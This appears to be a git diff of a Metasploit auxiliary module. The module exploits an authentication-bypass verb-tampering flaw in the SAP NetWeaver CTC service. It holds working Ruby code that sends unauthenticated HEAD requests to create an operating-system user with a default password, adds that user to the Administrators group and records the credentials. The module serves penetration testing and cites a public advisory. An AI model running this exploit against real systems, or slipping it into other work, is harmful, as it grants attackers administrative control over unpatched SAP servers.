@@ -31,49 +31,78 @@ class Metasploit4 < Msf::Auxiliary
31
31
32
32
def initialize
33
33
super (
34
- 'Name' => 'SAP CTC Service Verb Tampering (add user and add role) ' ,
34
+ 'Name' => 'SAP CTC Service Verb Tampering User Management ' ,
35
35
'Description' => %q{
36
- This module exploits an authentication bypass vulnerability in SAP NetWeaver CTC service.
37
- The service is vulnerable to verb tampering and allows for unauthorised user management.
38
- SAP Note 1589525, 1624450 / DSECRG-11-041.
39
- } ,
40
- 'References' => [ [ 'URL' , 'http://erpscan.com/advisories/dsecrg-11-041-sap-netweaver-authentication-bypass-verb-tampering/' ] ] ,
41
- 'Author' => [ 'nmonkee' ] ,
36
+ This module exploits an authentication bypass vulnerability in SAP NetWeaver
37
+ CTC service. The service is vulnerable to verb tampering allowing for unauthorised
38
+ OS user management. Information about resolution should be available at SAP notes
39
+ 1589525 and 1624450 (authentication required).
40
+ } ,
41
+ 'References' =>
42
+ [
43
+ [ 'URL' , 'http://erpscan.com/advisories/dsecrg-11-041-sap-netweaver-authentication-bypass-verb-tampering/' ] ,
44
+ [ 'URL' , 'http://erpscan.com/wp-content/uploads/2012/11/Breaking-SAP-Portal-HackerHalted-2012.pdf' ]
45
+ ] ,
46
+ 'Author' =>
47
+ [
48
+ 'Alexandr Polyakov' , # Vulnerability discovery
49
+ 'nmonkee' # Metasploit module
50
+ ] ,
42
51
'License' => MSF_LICENSE
43
- )
52
+ )
44
53
45
54
register_options ( [
46
- OptString . new ( 'USER' , [ true , 'Username' , nil ] ) ,
47
- OptString . new ( 'PASS' , [ true , 'Password' , nil ] ) ,
48
- OptString . new ( 'GROUP' , [ true , 'Group' , nil ] )
49
- ] , self . class )
55
+ Opt ::RPORT ( 50000 ) ,
56
+ OptString . new ( 'USERNAME' , [ true , 'Username to create' , 'msf' ] ) ,
57
+ OptString . new ( 'PASSWORD' , [ true , 'Password for the new user' , '$Metasploit1234$' ] ) ,
58
+ OptString . new ( 'GROUP' , [ true , 'Group for the new user' , 'Administrators' ] )
59
+ ] , self . class )
50
60
end
51
61
52
62
def run_host ( ip )
53
- uri = '/ctc/ConfigServlet?param=com.sap.ctc.util.UserConfig;CREATEUSER;USERNAME=' + datastore [ 'USER' ] + ',PASSWORD=' + datastore [ 'PASS' ]
54
- send_request ( uri )
55
- uri = '/ctc/ConfigServlet?param=com.sap.ctc.util.UserConfig;ADD_USER_TO_GROUP;USERNAME=' + datastore [ 'USER' ] + ',GROUPNAME=' + datastore [ 'GROUP' ]
56
- send_request ( uri )
63
+ vprint_status ( "#{ rhost } :#{ rport } - Creating User..." )
64
+ uri = '/ctc/ConfigServlet?param=com.sap.ctc.util.UserConfig;CREATEUSER;USERNAME=' + datastore [ 'USERNAME' ] + ',PASSWORD=' + datastore [ 'PASSWORD' ]
65
+ if send_request ( uri )
66
+ print_good ( "#{ rhost } :#{ rport } - User #{ datastore [ 'USERNAME' ] } with password #{ datastore [ 'PASSWORD' ] } successfully created" )
67
+ else
68
+ return
69
+ end
70
+
71
+ vprint_status ( "#{ rhost } :#{ rport } - Adding User to Group..." )
72
+ uri = '/ctc/ConfigServlet?param=com.sap.ctc.util.UserConfig;ADD_USER_TO_GROUP;USERNAME=' + datastore [ 'USERNAME' ] + ',GROUPNAME=' + datastore [ 'GROUP' ]
73
+ if send_request ( uri )
74
+ print_good ( "#{ rhost } :#{ rport } - User #{ datastore [ 'USERNAME' ] } added to group #{ datastore [ 'GROUP' ] } " )
75
+ else
76
+ return
77
+ end
78
+
79
+ report_auth_info (
80
+ :host => rhost ,
81
+ :port => rport ,
82
+ :user => datastore [ 'USERNAME' ] ,
83
+ :pass => datastore [ 'PASSWORD' ] ,
84
+ :ptype => "password" ,
85
+ :active => true
86
+ )
57
87
end
58
88
59
89
def send_request ( uri )
60
90
begin
61
- print_status ( "[SAP] #{ rhost } :#{ rport } - sending request" )
62
- res = send_request_raw ( {
91
+ res = send_request_cgi ( {
63
92
'uri' => uri ,
64
93
'method' => 'HEAD' ,
65
- 'headers' => {
66
- 'Cookie' => 'sap-usercontext=sap-language=EN' ,
67
- 'Content-Type' => 'text/xml; charset=UTF-8' , }
68
- } , 45 )
69
- if res
70
- vprint_error ( "[SAP] #{ rhost } :#{ rport } - Error code: " + res . code . to_s )
71
- vprint_error ( "[SAP] #{ rhost } :#{ rport } - Error title: " + res . message . to_s )
72
- vprint_error ( "[SAP] #{ rhost } :#{ rport } - Error message: " + res . body . to_s )
73
- end
74
- rescue ::Rex ::ConnectionError
75
- print_error ( "#{ rhost } :#{ rport } - Unable to connect" )
76
- return
94
+ 'ctype' => 'text/xml; charset=UTF-8' ,
95
+ 'cookie' => 'sap-usercontext=sap-language=EN'
96
+ } )
97
+ if res and res . code == 200 and res . headers [ 'Server' ] =~ /SAP J2EE Engine/
98
+ return true
99
+ elsif res
100
+ vprint_error ( "#{ rhost } :#{ rport } - Unexpected Response: #{ res . code } #{ res . message } " )
101
+ return false
77
102
end
103
+ rescue ::Rex ::ConnectionError
104
+ vprint_error ( "#{ rhost } :#{ rport } - Unable to connect" )
105
+ return false
78
106
end
79
107
end
108
+ end
0 commit comments